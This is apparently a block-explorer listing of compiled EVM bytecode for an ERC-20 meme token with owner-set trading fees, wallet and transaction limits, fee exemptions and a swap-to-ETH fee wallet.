8d3291461034557806306fdde0314610367578063095ea7b3146103925780631694505e146103c257806318160ddd146103fa5780631d865c301461041957600080fd5b3661034057005b600080fd5b34801561035157600080fd5b50610365610360366004611d73565b610a14565b005b34801561037357600080fd5b5061037c610a69565b6040516103899190611d90565b60405180910390f35b34801561039e57600080fd5b506103b26103ad366004611dde565b610afb565b6040519015158152602001610389565b3480156103ce57600080fd5b50601c546103e2906001600160a01b031681565b6040516001600160a01b039091168152602001610389565b34801561040657600080fd5b506017545b604051908152602001610389565b34801561042557600080fd5b50610365610434366004611e0a565b610b12565b34801561044557600080fd5b506103b2610454366004611e36565b610b76565b34801561046557600080fd5b50610365610474366004611e0a565b610be1565b34801561048557600080fd5b50610365610494366004611e8c565b610c3a565b3480156104a557600080fd5b506103e27f000000000000000000000000000000000000000000000000000000000000000081565b3480156104d957600080fd5b5061040b610c82565b3480156104ee57600080fd5b506103656104fd366004611ea7565b610ccc565b34801561050e57600080fd5b5061040b600c5481565b34801561052457600080fd5b5061040b600e5481565b34801561053a57600080fd5b5060045460405160ff9091168152602001610389565b34801561055c57600080fd5b506103b261056b366004611dde565b610d21565b34801561057c57600080fd5b5061036561058b366004611edc565b610d57565b34801561059c57600080fd5b50601d546103b290600160a81b900460ff1681565b3480156105bd57600080fd5b506103b26105cc366004611d73565b60086020526000908152604090205460ff1681565b3480156105ed57600080fd5b506103b26105fc366004611d73565b600a6020526000908152604090205460ff1681565b34801561061d57600080fd5b5061040b60125481565b34801561063357600080fd5b50610365610642366004611ea7565b610d86565b34801561065357600080fd5b5061040b60105481565b34801561066957600080fd5b5061040b600f5481565b34801561067f57600080fd5b5061036561068e366004611ea7565b610ddb565b34801561069f57600080fd5b5061040b600d5481565b3480156106b557600080fd5b5061040b6106c4366004611d73565b6001600160a01b031660009081526005602052604090205490565b3480156106eb57600080fd5b5061040b60185481565b34801561070157600080fd5b5061040b60195481565b34801561071757600080fd5b5061040b60155481565b34801561072d57600080fd5b506000546001600160a01b03166103e2565b34801561074b57600080fd5b5061036561075a366004611edc565b610e30565b34801561076b57600080fd5b50610365610ece565b34801561078057600080fd5b5061037c610f42565b34801561079557600080fd5b5061040b60115481565b3480156107ab57600080fd5b5061040b60165481565b3480156107c157600080fd5b506103b26107d0366004611dde565b610f51565b3480156107e157600080fd5b506103656107f0366004611e8c565b610fa0565b34801561080157600080fd5b506103b2610810366004611dde565b610fe8565b34801561082157600080fd5b5061040b600b5481565b34801561083757600080fd5b50610365610846366004611e0a565b610ff5565b34801561085757600080fd5b50610365610866366004611e8c565b611044565b34801561087757600080fd5b506103b2610886366004611d73565b60096020526000908152604090205460ff1681565b3480156108a757600080fd5b50601d546103e2906001600160a01b031681565b3480156108c757600080fd5b5061040b60135481565b3480156108dd57600080fd5b50601d546103b290600160b01b900460ff1681565b3480156108fe57600080fd5b5061040b61090d366004611ef5565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561094457600080fd5b50610365610953366004611d73565b6110c6565b34801561096457600080fd5b5061040b60145481565b34801561097a57600080fd5b50610365610989366004611edc565b611114565b34801561099a57600080fd5b506103656109a9366004611d73565b611143565b3480156109ba57600080fd5b5061036561122d565b3480156109cf57600080fd5b50601d546103b290600160b81b900460ff1681565b3480156109f057600080fd5b506103b26109ff366004611d73565b60076020526000908152604090205460ff1681565b6000546001600160a01b03163314610a475760405162461bcd60e51b8152600401610a3e90611f2e565b60405180910390fd5b601b80546001600160a01b0319166001600160a01b0392909216919091179055565b606060028054610a7890611f63565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa490611f63565b8015610af15780601f10610ac657610100808354040283529160200191610af1565b820191906000526020600020905b815481529060010190602001808311610ad457829003601f168201915b5050505050905090565b6000610b08338484611245565b5060015b92915050565b6000546001600160a01b03163314610b3c5760405162461bcd60e51b8152600401610a3e90611f2e565b600e839055600f8290556010819055610b5f81610b598585611369565b90611369565b601581905560141015610b7157600080fd5b505050565b6000610b838484846113c8565b50610bd68433610bd1856040518060600160405280602881526020016120b7602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611828565b611245565b5060015b9392505050565b6000546001600160a01b03163314610c0b5760405162461bcd60e51b8152600401610a3e90611f2e565b600b839055600c829055600d819055610c2881610b598585611369565b6014819055600a1015610b7157600080fd5b6000546001600160a01b03163314610c645760405162461bcd60e51b8152600401610a3e90611f2e565b601d8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260056020526040812054601754610cc791611862565b905090565b6000546001600160a01b03163314610cf65760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610b08918590610bd19086611369565b6000546001600160a01b03163314610d815760405162461bcd60e51b8152600401610a3e90611f2e565b601a55565b6000546001600160a01b03163314610db05760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e055760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e5a5760405162461bcd60e51b8152600401610a3e90611f2e565b6064601754610e699190611fb3565b811015610ec95760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b6064820152608401610a3e565b601855565b6000546001600160a01b03163314610ef85760405162461bcd60e51b8152600401610a3e90611f2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060038054610a7890611f63565b6000610b083384610bd1856040518060600160405280602581526020016120df602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611828565b6000546001600160a01b03163314610fca5760405162461bcd60e51b8152600401610a3e90611f2e565b601d8054911515600160b01b0260ff60b01b19909216919091179055565b6000610bd63384846113c8565b6000546001600160a01b0316331461101f5760405162461bcd60e51b8152600401610a3e90611f2e565b60118390556012829055601381905561103c81610b598585611369565b601655505050565b6000546001600160a01b0316331461106e5760405162461bcd60e51b8152600401610a3e90611f2e565b601d8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110bb90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146110f05760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03166000908152600a60205260409020805460ff19166001179055565b6000546001600160a01b0316331461113e5760405162461bcd60e51b8152600401610a3e90611f2e565b601955565b6000546001600160a01b0316331461116d5760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b0381166111d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a3e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b601b54611243906001600160a01b0316476118a4565b565b6001600160a01b0383166112a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a3e565b6001600160a01b0382166113085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a3e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000806113768385611fd5565b905083811015610bda5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a3e565b60006001600160a01b03841661142e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a3e565b6001600160a01b0383166114905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a3e565b601d54600160a01b900460ff16156114b4576114ad8484846118da565b9050610bda565b6001600160a01b03841660009081526009602052604090205460ff161580156114f657506001600160a01b03831660009081526009602052604090205460ff16155b1561155e5760185482111561155e5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a3e565b30600090815260056020526040902054601a548110801590819061158c5750601d54600160a01b900460ff16155b80156115b157506001600160a01b03861660009081526007602052604090205460ff16155b80156115d557506001600160a01b0385166000908152600a602052604090205460ff165b80156115ea5750601d54600160a81b900460ff165b80156115f75750601a5484115b1561161d57601d54600160b01b900460ff161561161457601a5491505b61161d826119c0565b60008061162b888888611a05565b91509150600086821461163e5730611640565b885b905081156116c8576001600160a01b03811660009081526005602052604090205461166b9083611369565b6001600160a01b0380831660008181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116bf9086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c1660009081526005909152919091205461171a918990611828565b6001600160a01b038a16600090815260056020526040902055601d54600160b81b900460ff16801561176557506001600160a01b03881660009081526008602052604090205460ff16155b1561179b5760195461179084610b598b6001600160a01b031660009081526005602052604090205490565b111561179b57600080fd5b6001600160a01b0388166000908152600560205260409020546117be9084611369565b6001600160a01b03808a1660008181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118129087815260200190565b60405180910390a3600195505050505050610bda565b6000818484111561184c5760405162461bcd60e51b8152600401610a3e9190611d90565b5060006118598486611fe8565b95945050505050565b6000610bda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611828565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610b71573d6000803e3d6000fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461192b918490611828565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461195a9083611369565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119ae9086815260200190565b60405180910390a35060019392505050565b601d805460ff60a01b1916600160a01b1790556119dc81611b14565b601b5447906119f4906001600160a01b0316826118a4565b5050601d805460ff60a01b19169055565b6001600160a01b0383166000908152600760205260408120548190839060ff168015611a3a5750601d54600160a81b900460ff165b15611a49578392509050611b0c565b6001600160a01b0386166000908152600a602052604090205460ff1615611a9157611a8a6064611a8460145487611c6e90919063ffffffff16565b90611cf0565b9050611acf565b6001600160a01b0385166000908152600a602052604090205460ff1615611acf57611acc6064611a8460155487611c6e90919063ffffffff16565b90505b6001600160a01b03861660009081526007602052604090205460ff1615611afd578360009250925050611b0c565b611b078482611862565b925090505b935093915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b4957611b49611ffb565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ba2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc69190612011565b81600181518110611bd957611bd9611ffb565b6001600160a01b039283166020918202929092010152601c54611bff9130911684611245565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c3890859060009086903090429060040161202e565b600060405180830381600087803b158015611c5257600080fd5b505af1158015611c66573d6000803e3d6000fd5b505050505050565b600082600003611c8057506000610b0c565b6000611c8c838561209f565b905082611c998583611fb3565b14610bda5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a3e565b6000610bda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d4e5760405162461bcd60e51b8152600401610a3e9190611d90565b5060006118598486611fb3565b6001600160a01b0381168114611d7057600080fd5b50565b600060208284031215611d8557600080fd5b8135610bda81611d5b565b600060208083528351808285015260005b81811015611dbd57858101830151858201604001528201611da1565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611df157600080fd5b8235611dfc81611d5b565b946020939093013593505050565b600080600060608486031215611e1f57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611e4b57600080fd5b8335611e5681611d5b565b92506020840135611e6681611d5b565b929592945050506040919091013590565b80358015158114611e8757600080fd5b919050565b600060208284031215611e9e57600080fd5b610bda82611e77565b60008060408385031215611eba57600080fd5b8235611ec581611d5b565b9150611ed360208401611e77565b90509250929050565b600060208284031215611eee57600080fd5b5035919050565b60008060408385031215611f0857600080fd5b8235611f1381611d5b565b91506020830135611f2381611d5b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611f7757607f821691505b602082108103611f9757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082611fd057634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b0c57610b0c611f9d565b81810381811115610b0c57610b0c611f9d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561202357600080fd5b8151610bda81611d5b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561207e5784516001600160a01b031683529383019391830191600101612059565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610b0c57610b0c611f9d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220857e39724746b144a2ea46c306c8561e97290731d52aaef1a8860b8e68d8692a64736f6c634300081300334368616e6750656e67584149456c6f6e4669676874426964656e5375636b3639496e75

Deployed Bytecode

0x6080604052600436106103395760003560e01c80637d1db4a5116101ab578063c2d4640e116100f7578063e207a92b11610095578063f2fde38b1161006f578063f2fde38b1461098e578063f4293890146109ae578063f872858a146109c3578063fabf7063146109e457600080fd5b8063e207a92b14610938578063f0cd1dac14610958578063f1d5f5171461096e57600080fd5b8063c816841b116100d1578063c816841b1461089b578063d76e26a3146108bb578063da00097d146108d1578063dd62ed3e146108f257600080fd5b8063c2d4640e1461082b578063c49b9a801461084b578063c78a789b1461086b57600080fd5b806395d89b4111610164578063a457c2d71161013e578063a457c2d7146107b5578063a5d69d1f146107d5578063a9059cbb146107f5578063b6c3af341461081557600080fd5b806395d89b41146107745780639e3fa32314610789578063a08e671f1461079f57600080fd5b80637d1db4a5146106df578063807c2d9c146106f557806382eefb431461070b5780638da5cb5b146107215780638f03aad51461073f578063914eb66a1461075f57600080fd5b80632f0a5fd411610285578063565cec3811610223578063661b6e36116101fd578063661b6e361461065d578063667b511c14610673578063705f9d741461069357806370a08231146106a957600080fd5b8063565cec381461061157806357e6adcb14610627578063646d47001461064757600080fd5b80633b97084a1161025f5780633b97084a146105705780634a74bb0214610590578063526012e8146105b157806355324fa9146105e157600080fd5b80632f0a5fd414610518578063313ce5671461052e578063395093511461055057600080fd5b806323b872dd116102f257806327c8f835116102cc57806327c8f835146104995780632b112e49146104cd5780632cdae5cb146104e25780632df671091461050257600080fd5b806323b872dd1461043957806325519cf2146104595780632563ae831461047957600080fd5b806304b8d3291461034557806306fdde0314610367578063095ea7b3146103925780631694505e146103c257806318160ddd146103fa5780631d865c301461041957600080fd5b3661034057005b600080fd5b34801561035157600080fd5b50610365610360366004611d73565b610a14565b005b34801561037357600080fd5b5061037c610a69565b6040516103899190611d90565b60405180910390f35b34801561039e57600080fd5b506103b26103ad366004611dde565b610afb565b6040519015158152602001610389565b3480156103ce57600080fd5b50601c546103e2906001600160a01b031681565b6040516001600160a01b039091168152602001610389565b34801561040657600080fd5b506017545b604051908152602001610389565b34801561042557600080fd5b50610365610434366004611e0a565b610b12565b34801561044557600080fd5b506103b2610454366004611e36565b610b76565b34801561046557600080fd5b50610365610474366004611e0a565b610be1565b34801561048557600080fd5b50610365610494366004611e8c565b610c3a565b3480156104a557600080fd5b506103e27f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104d957600080fd5b5061040b610c82565b3480156104ee57600080fd5b506103656104fd366004611ea7565b610ccc565b34801561050e57600080fd5b5061040b600c5481565b34801561052457600080fd5b5061040b600e5481565b34801561053a57600080fd5b5060045460405160ff9091168152602001610389565b34801561055c57600080fd5b506103b261056b366004611dde565b610d21565b34801561057c57600080fd5b5061036561058b366004611edc565b610d57565b34801561059c57600080fd5b50601d546103b290600160a81b900460ff1681565b3480156105bd57600080fd5b506103b26105cc366004611d73565b60086020526000908152604090205460ff1681565b3480156105ed57600080fd5b506103b26105fc366004611d73565b600a6020526000908152604090205460ff1681565b34801561061d57600080fd5b5061040b60125481565b34801561063357600080fd5b50610365610642366004611ea7565b610d86565b34801561065357600080fd5b5061040b60105481565b34801561066957600080fd5b5061040b600f5481565b34801561067f57600080fd5b5061036561068e366004611ea7565b610ddb565b34801561069f57600080fd5b5061040b600d5481565b3480156106b557600080fd5b5061040b6106c4366004611d73565b6001600160a01b031660009081526005602052604090205490565b3480156106eb57600080fd5b5061040b60185481565b34801561070157600080fd5b5061040b60195481565b34801561071757600080fd5b5061040b60155481565b34801561072d57600080fd5b506000546001600160a01b03166103e2565b34801561074b57600080fd5b5061036561075a366004611edc565b610e30565b34801561076b57600080fd5b50610365610ece565b34801561078057600080fd5b5061037c610f42565b34801561079557600080fd5b5061040b60115481565b3480156107ab57600080fd5b5061040b60165481565b3480156107c157600080fd5b506103b26107d0366004611dde565b610f51565b3480156107e157600080fd5b506103656107f0366004611e8c565b610fa0565b34801561080157600080fd5b506103b2610810366004611dde565b610fe8565b34801561082157600080fd5b5061040b600b5481565b34801561083757600080fd5b50610365610846366004611e0a565b610ff5565b34801561085757600080fd5b50610365610866366004611e8c565b611044565b34801561087757600080fd5b506103b2610886366004611d73565b60096020526000908152604090205460ff1681565b3480156108a757600080fd5b50601d546103e2906001600160a01b031681565b3480156108c757600080fd5b5061040b60135481565b3480156108dd57600080fd5b50601d546103b290600160b01b900460ff1681565b3480156108fe57600080fd5b5061040b61090d366004611ef5565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561094457600080fd5b50610365610953366004611d73565b6110c6565b34801561096457600080fd5b5061040b60145481565b34801561097a57600080fd5b50610365610989366004611edc565b611114565b34801561099a57600080fd5b506103656109a9366004611d73565b611143565b3480156109ba57600080fd5b5061036561122d565b3480156109cf57600080fd5b50601d546103b290600160b81b900460ff1681565b3480156109f057600080fd5b506103b26109ff366004611d73565b60076020526000908152604090205460ff1681565b6000546001600160a01b03163314610a475760405162461bcd60e51b8152600401610a3e90611f2e565b60405180910390fd5b601b80546001600160a01b0319166001600160a01b0392909216919091179055565b606060028054610a7890611f63565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa490611f63565b8015610af15780601f10610ac657610100808354040283529160200191610af1565b820191906000526020600020905b815481529060010190602001808311610ad457829003601f168201915b5050505050905090565b6000610b08338484611245565b5060015b92915050565b6000546001600160a01b03163314610b3c5760405162461bcd60e51b8152600401610a3e90611f2e565b600e839055600f8290556010819055610b5f81610b598585611369565b90611369565b601581905560141015610b7157600080fd5b505050565b6000610b838484846113c8565b50610bd68433610bd1856040518060600160405280602881526020016120b7602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611828565b611245565b5060015b9392505050565b6000546001600160a01b03163314610c0b5760405162461bcd60e51b8152600401610a3e90611f2e565b600b839055600c829055600d819055610c2881610b598585611369565b6014819055600a1015610b7157600080fd5b6000546001600160a01b03163314610c645760405162461bcd60e51b8152600401610a3e90611f2e565b601d8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260056020526040812054601754610cc791611862565b905090565b6000546001600160a01b03163314610cf65760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610b08918590610bd19086611369565b6000546001600160a01b03163314610d815760405162461bcd60e51b8152600401610a3e90611f2e565b601a55565b6000546001600160a01b03163314610db05760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e055760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e5a5760405162461bcd60e51b8152600401610a3e90611f2e565b6064601754610e699190611fb3565b811015610ec95760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b6064820152608401610a3e565b601855565b6000546001600160a01b03163314610ef85760405162461bcd60e51b8152600401610a3e90611f2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060038054610a7890611f63565b6000610b083384610bd1856040518060600160405280602581526020016120df602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611828565b6000546001600160a01b03163314610fca5760405162461bcd60e51b8152600401610a3e90611f2e565b601d8054911515600160b01b0260ff60b01b19909216919091179055565b6000610bd63384846113c8565b6000546001600160a01b0316331461101f5760405162461bcd60e51b8152600401610a3e90611f2e565b60118390556012829055601381905561103c81610b598585611369565b601655505050565b6000546001600160a01b0316331461106e5760405162461bcd60e51b8152600401610a3e90611f2e565b601d8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906110bb90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146110f05760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b03166000908152600a60205260409020805460ff19166001179055565b6000546001600160a01b0316331461113e5760405162461bcd60e51b8152600401610a3e90611f2e565b601955565b6000546001600160a01b0316331461116d5760405162461bcd60e51b8152600401610a3e90611f2e565b6001600160a01b0381166111d25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a3e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b601b54611243906001600160a01b0316476118a4565b565b6001600160a01b0383166112a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a3e565b6001600160a01b0382166113085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a3e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000806113768385611fd5565b905083811015610bda5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a3e565b60006001600160a01b03841661142e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a3e565b6001600160a01b0383166114905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a3e565b601d54600160a01b900460ff16156114b4576114ad8484846118da565b9050610bda565b6001600160a01b03841660009081526009602052604090205460ff161580156114f657506001600160a01b03831660009081526009602052604090205460ff16155b1561155e5760185482111561155e5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a3e565b30600090815260056020526040902054601a548110801590819061158c5750601d54600160a01b900460ff16155b80156115b157506001600160a01b03861660009081526007602052604090205460ff16155b80156115d557506001600160a01b0385166000908152600a602052604090205460ff165b80156115ea5750601d54600160a81b900460ff165b80156115f75750601a5484115b1561161d57601d54600160b01b900460ff161561161457601a5491505b61161d826119c0565b60008061162b888888611a05565b91509150600086821461163e5730611640565b885b905081156116c8576001600160a01b03811660009081526005602052604090205461166b9083611369565b6001600160a01b0380831660008181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116bf9086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c1660009081526005909152919091205461171a918990611828565b6001600160a01b038a16600090815260056020526040902055601d54600160b81b900460ff16801561176557506001600160a01b03881660009081526008602052604090205460ff16155b1561179b5760195461179084610b598b6001600160a01b031660009081526005602052604090205490565b111561179b57600080fd5b6001600160a01b0388166000908152600560205260409020546117be9084611369565b6001600160a01b03808a1660008181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118129087815260200190565b60405180910390a3600195505050505050610bda565b6000818484111561184c5760405162461bcd60e51b8152600401610a3e9190611d90565b5060006118598486611fe8565b95945050505050565b6000610bda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611828565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610b71573d6000803e3d6000fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461192b918490611828565b6001600160a01b03808616600090815260056020526040808220939093559085168152205461195a9083611369565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119ae9086815260200190565b60405180910390a35060019392505050565b601d805460ff60a01b1916600160a01b1790556119dc81611b14565b601b5447906119f4906001600160a01b0316826118a4565b5050601d805460ff60a01b19169055565b6001600160a01b0383166000908152600760205260408120548190839060ff168015611a3a5750601d54600160a81b900460ff165b15611a49578392509050611b0c565b6001600160a01b0386166000908152600a602052604090205460ff1615611a9157611a8a6064611a8460145487611c6e90919063ffffffff16565b90611cf0565b9050611acf565b6001600160a01b0385166000908152600a602052604090205460ff1615611acf57611acc6064611a8460155487611c6e90919063ffffffff16565b90505b6001600160a01b03861660009081526007602052604090205460ff1615611afd578360009250925050611b0c565b611b078482611862565b925090505b935093915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b4957611b49611ffb565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611ba2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bc69190612011565b81600181518110611bd957611bd9611ffb565b6001600160a01b039283166020918202929092010152601c54611bff9130911684611245565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c3890859060009086903090429060040161202e565b600060405180830381600087803b158015611c5257600080fd5b505af1158015611c66573d6000803e3d6000fd5b505050505050565b600082600003611c8057506000610b0c565b6000611c8c838561209f565b905082611c998583611fb3565b14610bda5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a3e565b6000610bda83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d4e5760405162461bcd60e51b8152600401610a3e9190611d90565b5060006118598486611fb3565b6001600160a01b0381168114611d7057600080fd5b50565b600060208284031215611d8557600080fd5b8135610bda81611d5b565b600060208083528351808285015260005b81811015611dbd57858101830151858201604001528201611da1565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611df157600080fd5b8235611dfc81611d5b565b946020939093013593505050565b600080600060608486031215611e1f57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611e4b57600080fd5b8335611e5681611d5b565b92506020840135611e6681611d5b565b929592945050506040919091013590565b80358015158114611e8757600080fd5b919050565b600060208284031215611e9e57600080fd5b610bda82611e77565b60008060408385031215611eba57600080fd5b8235611ec581611d5b565b9150611ed360208401611e77565b90509250929050565b600060208284031215611eee57600080fd5b5035919050565b60008060408385031215611f0857600080fd5b8235611f1381611d5b565b91506020830135611f2381611d5b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611f7757607f821691505b602082108103611f9757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082611fd057634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b0c57610b0c611f9d565b81810381811115610b0c57610b0c611f9d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561202357600080fd5b8151610bda81611d5b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561207e5784516001600160a01b031683529383019391830191600101612059565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610b0c57610b0c611f9d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220857e39724746b144a2ea46c306c8561e97290731d52aaef1a8860b8e68d8692a64736f6c63430008130033

Deployed Bytecode Sourcemap

